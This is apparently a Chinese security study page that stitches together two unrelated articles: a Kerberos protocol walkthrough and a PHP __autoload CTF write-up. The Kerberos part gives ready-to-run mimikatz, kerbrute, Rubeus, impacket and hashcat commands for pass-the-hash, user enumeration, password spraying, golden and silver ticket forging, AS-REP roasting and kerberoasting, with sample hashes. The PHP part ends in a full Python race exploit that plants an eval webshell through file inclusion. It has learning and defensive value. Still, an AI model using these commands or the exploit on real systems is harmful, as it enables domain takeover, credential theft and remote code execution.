kerberos学习小结
文章有点长,请准备10-15分钟的时间阅读哦
https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014040817061200001
概念
| DC | 域控 || KDC | 密钥分发中心,域控担任 || AD | 活动目录,包含与用户数据库 || AS | Kerberos认证服务 || TGT | AS分发,TGT认证权证 || TGS | 票据授予服务 || ST | ST服务票据,由TGS服务发送 |
krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机
windows密码hash图解如下
AS-REQ
AS-REQ:当域内某个用户试图访问域中的某个服务,输入用户名和密码,本机的kerberos服务向KDC的AS认证服务发送一个AS-REQ认证请求,请求中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTML Hash加密的时间戳)以及其他的一些信息
wireshark抓包分析
req-body详细请求包
pvno:kerberos版本号,这里为5
msg-type:消息类型,AS_REQ对应的是krb-as-req(10)
padata:主要是一些认证信息,每个认证消息有type和value
PADA PA-ENC-TIMESTAMP:预认证,用用户hash加密时间戳,作为value发送给AS服务器,AS服务器拥有用户hash,使用用户hash进行解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过。由于用户密码是hash加密,所以能够利用hash传递
padata-type:padata类型,这里是KRB5-PADATA-ENC-TIMESTAMP(2)
padata-value:padata的值
etype:padata类型,这里是eTYPE-AES256-CTS-HMAC-SHA1-96(18)
cipher:密钥
PADA PA-PAC-REQUEST:启用PAC支持的扩展。PAC并不在原生的kerberos里面,是微软引进的拓展。PAC包含在相应包AS_REP中,这里的value对应的值为True或False,KDC根据include的值来确定返回的票据中是否需要携带PAC
padata-type:padata类型,这是eTYPE-AES256-CTS-HMAC-SHA1-96(18)
padata-value:padata的值
include-PAC:是否包含PAC,这里为True
req-body:请求body
padding:填充,这里为0
kdc-options:用于与KDC预定一些选项设置
cname:客户端用户名,这个用户名存在和不存在,返回的包有差异,可以用于枚举域内用户名,PrincipalName类型,包含type和Value
name-type:名字类型,这里是KRB5-NT-PRINCIPAL(1)
cname-string:名字,也就是请求的用户名
CNameString:请求的用户名,这里为mars2
realm:域名,这里为DRUNKMARS0
sname:服务端用户名,PrincipalName类型,包含type和value,在AS-REQ里面snames为krbtgt
SNameString:这里是用户名 krbtgt
SNameString:这里是域名 DRUNKMARS0
till:到期时间,rubeus和kekeo都是20370913024805Z,这个可以作为特征来检测工具
rtime:到期时间
nonce:随机生成的一个数,kekeo/mimikatz nonce是12381973,rubeus nonce是1818848256,这个也可以用来作为特征检测工具
etype:加密类型,这里有6个items
address:客户端的请求地址,也就是客户端的主机名
HostAddress MESSI-PC<20>
ddr-type:地址类型,这里是nETBIOS(20)
NetBIOS Name:MESSI-PC<20> (Server service)net config workstation 查看域内信息
AS-REQ过程中的攻击方式
hash传递
msf进行hash传递
只适用于域环境,并且目标主机需要安装 KB2871997补丁
mimikatz进行hash传递
这里mimikatz获取到hash之后不能复制粘贴,这时可以将获取到的hash导出到log日志中,命令如下
mimikatz log privilege::debug sekurlsa::ekeys
抓取sid为500的administrator的ntlm哈希
privilege::debug
sekurlsa::logonpasswords
执行命令
sekurlsa::pth /user:administrator /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c
KB2871997
安装KB2871997这个补丁之后,只能用sid为500的管理员账户进行pass hash
PTK(pass the key)
获取aes-key:
privilege::debug
sekurlsa::ekeys
注入aes-key:
sekurlsa::pth /user:Administrator /domain:Drunkmars.com /aes256:cf5dba161f3a3dc89454742ff5db89980d6b07e771048b30006546e81d1d79e2
域内用户枚举
使用kerbrute工具:
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe前提需要DC需要开启kerberos 88端口
准备用户名保存为txt
使用以下命令
kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt
使用kerbrute进行错误枚举的原理就是kerberos有三种错误代码:
KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用)
KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用)
KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在)
在DC抓包可以看到有4个UNKNOWN,1个REQUIRED,证明有这个用户名存在
密码喷洒
当用户名存在,密码正确和错误返回的包是不相同的,所以知道用户名的情况下可以用一个相同的密码去爆破用户,这种针对所有用户的自动密码猜测是为了防止账户被锁定,因为针对同一个用户连续密码猜测很容易导致账户被锁。所以只有对所有用户同时执行特定的密码进行尝试,才能增加破解的概率,消除帐号被锁定的可能
使用以下命令
kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..
密码同样存在三种错误代码
KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用)
KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用)
KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在)
同样在DC抓包,有4个UNKNOWN,1个REQUIRED
AS-REP
AS-REP:当KDC接受到请求之后,通过AD活动目录查询得到该用户的密码hash,用该密码hash对请求包的Authenticator进行解密,如果解密成功,则证明请求者提供的密码正确,而且需要时间戳范围在五分钟内,且不是重放,则域认证成功。KAS成功认证对方的身份之后,发送相应包给客户端,响应包中主要包括krbtgt用户的NTLM hash加密后的TGT认购权证(即ticket这部分)和用户NTLM hash加密的Login Session key(即最外层enc-part这部分)以及一些其他信息。该Login Session key的作用是用于确保客户端和KDC下阶段之间通信安全。最后T
在enc-part里面最重要的字段就是Login session key,作为下阶段的认证密钥
AS-REP中最核心的东西就是Login session-key 和加密的 ticket。正常我们用工具生成的凭据是.ccache和.kirbi后缀的,用mimikatz,kekeo,rebeus生成的凭据是.kirbi后缀的,impacket生成的凭据是.ccache,两种票据主要包含的都是Login session-key 和加密的 ticket,因此可以相互转换
AS-REP中的攻击方式
黄金票据
使用mimikatz
先获取krbtgt hash
DC执行
mimikatz.exe "lsadump::dcsync /domain:Drunkmars.com /user:krbtgt"
获得如下信息
sid:S-1-5-21-652679085-3170934373-4288938398-502
ntlm hash:c1833c0783cfd81d3548dd89b017c99a
aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50伪造administrator执行(aes256)生成gold.kirbi
mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50 /user:administrator /ticket:gold.kirbi"
伪造administrator执行(krbtgt hash)生成gold.kirbi
mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /user:administrator /ticket:gold.kirbi"
导入golden.kirbi,执行命令
kerberos::ptt C:\\Users\\mars2\\Desktop\\gold.kirbi查看本地缓存,发现凭据成功导入
kerberos::list
打开新的cmd,用klist查看凭证
dir连接过去,注意这里必须要主机名,不能够用IP连接
这里有一个坑,必须要管理员权限开cmd,不然也会显示拒绝访问
看下权限,处于Domain Users组
查看所有组
net group /do
查看Domain Controllers组,这里我在域用户机器上可以查看是因为我导入了金票,实际上这个命令只能在DC上才能查看
net group "Domain Controllers" /do
删除凭据
kerberos::purge
使用impacket
使用kali,不在域内需要把dns改向域控
先生成票据administrator.ccache
python3 ticketer.py -domain-sid S-1-5-21-652679085-3170934373-4288938398-502 -nthash c1833c0783cfd81d3548dd89b017c99a -domain Drunkmars.com administrator导入票据
export KRB5CCNAME=administrator.ccache然后访问域控
python3 smbexec.py -no-pass -k WIN-M836NN6NU8B.Drunkmars.com
AS-REP Roasting
在AS-REP阶段,最外层的enc-part是用户密码hash加密的。对于域用户,如果设置了"Do not require Kerberos preauthentication",此时向域控的88端口发送AS-REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密的Login Session Key,通过离线爆破就可以获得用户hash)重新组合,能够拼接成"Kerberos 5 AS-REP etype 23"(18200)的格式,接下来可以通过hashcat对其破解,最终获得明文密码,这就构成了AS-REP Roasting攻击
默认这个功能是不启用的,如果启用AS-REP会返回用户hash加密的sessionkey-as,这样我们就能够用john离线破解
使用Empire下的powerview.ps1查找域中设置了"不需要kerberos预认证"的用户
Import-Module .\powerview.ps1
Get-DomainUser -PreauthNotRequired
使用ASREPRoast.ps1获取AS-REP返回的hash
Import-Module .\ASREPRoast.ps1
Get-ASREPHash -Username mars2 -Domain Drunkmars.com | Out-File Encoding ASCII hash.txt修改为hashcat能识别的格式,在$krb5asrep后面添加$23拼接
hashcat -m 18200 hash.txt pass.txt --force
TGS-REQ
经过上面的步骤,客户端获得了 TGT认购权证 和 Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到 原始的LogonSession Key。然后它会在本地缓存此 TGT认购权证 和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务,它就需要凭借这张TGT认购凭证向KDC购买相应的入场券ST服务票据(Service Ticket)。ST服务票据是通过KDC的另一个服务 TGS(Ticket Granting Service)出售的。在这个阶段,微软引入了两个扩展自协议 S4u2self 和 S4u2P
TGS-REQ:客户端向KDC购买针对指定服务的ST服务票据请求,该请求主要包含如下的内容:客户端信息、Authenticator(Login Session Key加密的时间戳)、TGT认购权证(padata下ap-req下的ticket) 和 访问的服务名以及一些其他信息
TGS-REP
TGS-REP:TGS接收到请求之后,首先会检查自身是否存在客户端所请求的服务。如果服务存在,则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key,然后通过Login Session Key解密Authenticator,如果解密成功,则验证了对方的真实身份,同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期,且原始地址是否和TGT中保存的地址相同。
在完成上述的检测后,如果验证通过,则TGS完成了对客户端的认证,会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容:客户端用户信息 和 原始Service Session Key,整个ST服务票据用该服务的NTLM Hash进行加密。
最终Service Session Key 和 ST服务票据发送给客户端。(这一步不管用户有没有访问服务的权限,只要TGT正确,就都会返回ST服务票据,这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据)
enc-part:这部分是用请求服务的密码Hash加密的。因此如果我们拥有服务的密码Hash,那么我们就可以自己制作一个ST服务票据,这就造成了白银票据攻击。也正因为该票据是用请求服务的密码Hash加密的,所以当我们得到了ST服务票据,可以尝试爆破enc_part,来得到服务的密码Hash。这也就造成了kerberoast攻击。
TGS-REP过程中的攻击方式
何为SPN
SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。
Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户。在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerber
下面通过一个例子来说明SPN的作用:
当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。
SPN分为两种类型:
1.是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个SPN:HOST/主机名和 HOST/主机名.Drunkmars.com
2.是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下
查看当前域内所有的SPN:
setspn -Q \* \*查看指定域Drunkmars.com注册的SPN:
setspn -T Drunkmars.com -Q \* \*如果指定域不存在,则默认切换到查找本域的SPN
查找本域内重复的SPN:
setspn -X删除指定SPN:
setspn -D MySQL/win7.Drunkmars.com:1433/MSSQL hack查找指定用户/主机名注册的SPN:
setspn -L username/hostname
Kerberoast攻击
Kerberoast攻击过程:
1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证,该TGT认购权证用于以后的ST服务票据请求
2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。 在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。
3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证中提取信息并填充到ST服务票据中。 然后,域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。
4.攻击者从 TGS-REP 中提取加密的服务票证。 由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。
首先是请求服务票据
1.Rubeus.exe请求
Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用hashcat 或 john 爆破的Hash。以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式
Rubeus.exe kerberoast
2.powershell请求
#请求服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
#列出服务票据
klist
3.mimikatz请求
请求服务票据
kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433列出服务票据
kerberos::list清除所有票据
kerberos::purge4.Impacket中的GetUserSPNS.py请求
该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。
python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack
导出票据
首先是查看klist或mimikatz.exe "kerberos::list"
MSF里面
load kiwi
kerberos_ticket_list或
load kiwi
kiwi_cmd kerberos::list1.mimikatz导出
mimikatz.exe "kerberos::list /export" "exit"执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件
2.Empire下的Invoke-Kerberoast.ps1
Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat
离线破解服务票据
1.kerberoast中的tgsrepcrack.py
python2 tgsrepcrack.py password.txt xx.kirbi
2.hashcat
将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下
hashcat -m 13100 hash.txt pass.txtKerberoast攻击防范
确保服务账号密码为强密码(长度、随机性、定期修改)
如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验tgsrepcrack.py来破解密码。
攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。
许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。
在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。
白银票据
在TGS-REP阶段,TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是TGS票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用
要创建白银票据,我们需要知道以下信息:
要伪造的域用户(这里我们一般填写域管理员账户)
域名
域的SID值(就是域成员SID值去掉最后的)
目标服务的FQDN
可利用的服务
服务账号的NTLM哈希
这里使用白银票据伪造CIFS服务,该通常用于Windows主机之间的文件共享。
1.mimikatz获得服务账号的ntlm hash
privilege::Debug
sekurlsa::logonpasswords
得到ntlm为7c64e7ebf46b9515c56b2dd522d21c1c
2.使用白银票据攻击
kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt
3.查看票据
4.访问域控
防御:
伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用。
黄金票据和白银票据的不同点
访问权限不同:
黄金票据Golden Ticket:伪造TGT认购权证,可以获取任何Kerberos服务权限
白银票据Silver Ticket:伪造ST服务票据,只能访问指定的服务
加密方式不同:
Golden Ticket由krbtgt的Hash加密
Silver Ticket由服务账号(通常为计算机账户)Hash加密
认证流程不同:
Golden Ticket的利用过程需要访问域控,而Silver Ticket不需要
autoload魔术方法的妙用
前言:
__autoload魔术方法从PHP7.2.0开始被废弃,并且在PHP8.0.0以上的版本完全废除。取而代之的则是spl_autoload_register,但是本文还是研究__autoload。
什么是autoload魔术方法?
首先还是从官方手册中下手,了解autoload函数
由此可见,__autoload魔术方法需要有一个类名的参数,使用这个魔术方法之后即可自动加载相应的类。
虽然说是自动,但是本质上还是需要我们指定类名,__autoload才会为我们包含文件,自动加载相应的类。
举一个简单的例子,假设我们有index.php业务代码如下:
<?php
function __autoload($classname){
include("class_$classname.php");
}
$a = new A();并且我们有class_A.php代码如下:
<?php
class A{
function __construct(){
echo "I am class A\n";
}
}我们可以看到,即使我们在index.php中没有包含class_A.php中的类A,但是在index.php中却新建了一个对象,此时因为在index.php中没有类A,所以PHP会自动调用__autoload魔术方法。
而我们__autoload魔术方法的作用就是将相关文件包含进来,因此最终程序还是成功的将I am class A输出。
所以,__autoload只需要我们在魔术方法内写明一个逻辑:如果在后面的代码中,新建一个对象,找不到对应的类的时候,应该包含哪些文件。
autoload相比手动加载有哪些优势?
虽然说感觉__autoload很智能,但是通过上方的例子并不能很明显体现__autoload的优点,因此下方换一个例子,用来展示__autoload相比手动加载的其他优势。
首先假设我们有autoload.php主业务逻辑代码如下:
<?php
require_once("class_A.php");
require_once("class_B.php");
require_once("class_C.php");
if ($_GET["class"] === 'A'){
$a = new A();
}
else if ($_GET["class"] === 'B'){
$b = new B();
}
else if ($_GET["class"] === 'C'){
$c = new C();
}光看这么一段代码就已经觉得手动加载很繁琐了,因为在这段代码中,仅仅只是包含了三个文件,虽然本质上的业务逻辑十分简单,但是代码看起来很繁琐,并且在这一段代码还存在一个很大的问题,就是资源的浪费。我们可以看到主要的业务逻辑就是一个if语句,并且无论我们往class中怎么传参,总是至少有两个类是无法新建的。也就是说,在代码最上方的三行包含文件代码中,至少有两行的文件加载是多余的。因此,这样就就造成了资源的浪费。
那么如何解决这一个问题呢?
答案就是使用__autoload魔术方法,在我们需要的将相关文件包含进来。
因此我们将autoload.php代码修改如下:
<?php
function __autoload($classname){
require("class_$classname.php");
}
if ($_GET["class"] === 'A'){
$a = new A();
}
else if ($_GET["class"] === 'B'){
$b = new B();
}
else if ($_GET["class"] === 'C'){
$c = new C();
}这个时候不仅代码看上去清爽了很多,而且在理论上,运行的效率会更高,占用的系统资源会更少。
除此之外,这么写其实还有一个优点,这里用到的文件包含函数是require,而上方使用的是require_once,这么写的好处就是:如果后面再次调用类A、B、C,那么PHP会自动从内存中加载这些类,不会再一次调用__autoload魔术方法。
那么,__autoload在开发中这么神奇,在安全中有没有什么利用场景呢?
有!那必然是有!下面将从一道CTF赛题中看看__autoload在安全中是怎么用的。
从一道CTF题看autoload
首先题目代码如下:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57
*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}我们可以看到在类CTFSHOW里有一个__autoload魔术方法,虽然是在类里面,但是这是一个全局的魔术方法,也就是说只要调用未知名称的类,都会调用__autoload这个魔术方法,而__autoload魔术方法将传入的参数作为命令执行。
然后我们再往下审计:
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);这一部分代码是过滤部分字符,POST传入ctf,并且将GET请求中的变量名和值进行赋值
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}这一部分有一个函数:class_exists
这一个函数和前面提到的新建对象一样,如果不存在这个类,同样也会调用__autoload魔术方法
而且需要有一个__CTFSHOW__变量,但是下划线过滤了。不过没关系,在PHP中,当我们使用.作为变量名时,PHP会将.转化为下划线。
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}而这一部分代码不允许ctf中存在:,并且过滤了log,也就是不允许我们日志注入,但是这里存在一个文件包含。
因此我们可以考虑利用文件包含结合phpinfo进行RCE。
这里贴一个项目链接,这个项目大概就是可以通过phpinfo结合本地文件包含,利用PHP的文件上传会存在临时文件的特性,进行getshell,具体原理就不再赘述了,参考说明文档即可。
exp链接:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
说明文档:https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md
将改exp修改部分后,如下:
#!/usr/bin/python
import sys
import threading
import socket
attempts_counter = 0
def setup(host, port, phpinfo_path, lfi_path, lfi_param, shell_code='<?php eval($_POST["mb"]);?>', shell_path='/tmp/g'):
"""
根据提供参数返回请求内容
:param host:HOST
:param port:端口
:param phpinfo_path: phpinfo文件地址
:param lfi_path: 包含lfi的文件地址
:param lfi_param: lfi载入文件时, 指定文件名的参数
:param shell_code: shell代码
:param shell_path: shell代码保存位置
:return:
phpinfo_request: phpinfo 请求内容
lfi_request: lfi 请求内容
tag: 标识内容
"""
tag = 'Security Test' # 搜索验证标识
payload = \
'''{tag}\r
<?php $c=fopen('{shell_path}','w');fwrite($c,'{shell_code}');?>\r
'''.format(shell_code=shell_code, tag=tag, shell_path=shell_path)
request_data = \
'''-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
{payload}
-----------------------------7dbff1ded0714--\r
''' .format(payload=payload)
phpinfo_request = \
'''POST {phpinfo_path}?%5f%5fCTFSHOW%5f%5f=phpinfo&a={padding} HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r
HTTP_ACCEPT: {padding}\r
HTTP_USER_AGENT: {padding}\r
HTTP_ACCEPT_LANGUAGE: {padding}\r
HTTP_PRAGMA: {padding}\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: {request_data_length}\r
Host: {host}:{port}\r
\r
{request_data}
'''.format(
padding='A' * 4000,
phpinfo_path=phpinfo_path,
request_data_length=len(request_data),
host=host,
port=port,
request_data=request_data
)
lfi_request = \
'''POST {lfi_path}?{lfi_param} HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
\r
ctf={{}}\r
'''.format(
lfi_path=lfi_path,
lfi_param=lfi_param,
host=host
)
return phpinfo_request, tag, lfi_request
def phpinfo_lfi(host, port, phpinfo_request, offset, lfi_request, tag):
"""
通过向phpinfo发送大数据包延缓时间, 然后利用lfi执行
:param host:HOST
:param port:端口
:param phpinfo_request: phpinfo页面请求内容
:param offset: tmp_name在phpinfo中的偏移位
:param lfi_request: lfi页面请求内容
:param tag: 标识内容
:return:
tmp_file_name: 临时文件名
"""
phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
lfi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phpinfo_socket.connect((host, port))
lfi_socket.connect((host, port))
# 1. 先向phpinfo发送大数据包, 且其中包含php会将payload放入临时文件中
# print(phpinfo_request)
# print(lfi_request)
phpinfo_socket.send(phpinfo_request.encode())
phpinfo_response_data = ''
while len(phpinfo_response_data) < offset:
# 取不到数据则反复执行
phpinfo_response_data += phpinfo_socket.recv(offset).decode()
try:
tmp_name_index = phpinfo_response_data.index('[tmp_name] =>')
# 获取包含payload的临时文件名
tmp_file_name = phpinfo_response_data[
tmp_name_index + 17:
tmp_name_index + 31
]
except ValueError:
return None
# 2. 再向lfi发送包含payload的临时文件名, 用于包含
lfi_socket.send((lfi_request.format(tmp_file_name)).encode())
# print(lfi_request.format(tmp_file_name))
lfi_response_data = lfi_socket.recv(4096).decode()
# 3. 停止phpinfo socket连接
phpinfo_socket.close()
# 4. 停止lfi socket连接
lfi_socket.close()
if lfi_response_data.find(tag) != -1:
# 5. lfi response中存在标识内容则payload执行成功
return tmp_file_name
class ThreadWorker(threading.Thread):
def __init__(self, event, lock, max_attempts,
host, port, phpinfo_request,
offset, lfi_request, tag,
shell_code, shell_path,
lfi_path, lfi_param):
threading.Thread.__init__(self)
self.event = event
self.lock = lock
self.max_attempts = max_attempts
self.host = host
self.port = port
self.phpinfo_request = phpinfo_request
self.offset = offset
self.lfi_request = lfi_request
self.tag = tag
self.shell_code = shell_code
self.shell_path = shell_path
self.lfi_path = lfi_path
self.lfi_param = lfi_param
def run(self):
global attempts_counter
while not self.event.is_set():
# 如果没有set event则一直重复执行, 直到已尝试次数大于最大尝试数(attempts_counter > max_attempts)
with self.lock:
# 获取锁, 执行完后释放
if attempts_counter >= self.max_attempts:
return
attempts_counter += 1
try:
tmp_file_name = phpinfo_lfi(
self.host, self.port, self.phpinfo_request, self.offset, self.lfi_request, self.tag)
if self.event.is_set():
break
if tmp_file_name:
# 找到tmp_file_name后通过set event停止运行
print('\n{shell_code} 已经被写入到{shell_path}中'.format(
shell_code=self.shell_code,
shell_path=self.shell_path
))
'http://127.0.0.1/test/lfi_phpinfo/lfi.php?load=/tmp/gc&f=uname%20-a'
print('默认调用方法: http://{host}:{port}{lfi_path}?{lfi_param}={shell_path}&f=uname%20-a'.format(
host=self.host,
port=self.port,
lfi_path=self.lfi_path,
lfi_param=self.lfi_param,
shell_path=self.shell_path
))
self.event.set()
except socket.error:
return
def get_offset(host, port, phpinfo_request):
"""
获取tmp_name在phpinfo中的偏移量
:param host: HOST
:param port: 端口
:param phpinfo_request: phpinfo 请求内容
:return:
tmp_name在phpinfo中的偏移量
"""
phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phpinfo_socket.connect((host, port))
phpinfo_socket.send(phpinfo_request.encode())
phpinfo_response_data = ''
while True:
i = phpinfo_socket.recv(4096).decode()
phpinfo_response_data += i
if i == '':
break
# 检测是否是最后一个数据块
if i.endswith('0\r\n\r\n'):
break
phpinfo_socket.close()
tmp_name_index = phpinfo_response_data.find('[tmp_name] =>')
print(phpinfo_response_data)
if tmp_name_index == -1:
raise ValueError('没有在phpinfo中找到tmp_name')
print('找到了 {} 在phpinfo内容索引为{}的位置'.format(
phpinfo_response_data[tmp_name_index:tmp_name_index+10], tmp_name_index))
return tmp_name_index + 256
def main():
pool_size = 100
host = '7438117e-d02c-467c-859a-17c47f67b37e.challenge.ctf.show'
port = 8080
phpinfo_path = '/'
lfi_path = '/'
lfi_param = 'isVIP=1'
shell_code = '<?php eval($_POST["mb"]);?>'
shell_path = '/tmp/g'
# 最大尝试次数
max_attempts = 1000
print('LFI With PHPInfo()')
# 一 生成phpinfo请求内容, 标志内容, lfi请求内容
phpinfo_request, tag, lfi_request = setup(
host=host, port=port, phpinfo_path=phpinfo_path, lfi_path=lfi_path,
lfi_param=lfi_param, shell_code=shell_code, shell_path=shell_path)
# 二 获取[tmp_name]在phpinfo中的偏移位
offset = get_offset(host, port, phpinfo_request)
sys.stdout.flush()
thread_event = threading.Event()
thread_lock = threading.Lock()
print('创建线程池 {}...'.format(pool_size))
sys.stdout.flush()
thread_pool = []
for i in range(0, pool_size):
# 三 多线程执行phpinfo_lfi
thread_pool.append(ThreadWorker(thread_event, thread_lock, max_attempts,
host, port, phpinfo_request, offset,
lfi_request, tag,
shell_code, shell_path,
lfi_path, lfi_param
))
for t in thread_pool:
t.start()
try:
while not thread_event.wait(1):
if thread_event.is_set():
break
with thread_lock:
sys.stdout.write('\r{} / {}'.format(attempts_counter, max_attempts))
sys.stdout.flush()
if attempts_counter >= max_attempts:
# 尝试次数大于最大尝试次数则退出
break
if thread_event.is_set():
print('''success !''')
else:
print('LJBD!')
except KeyboardInterrupt:
print('\n正在停止所有线程...')
thread_event.set()
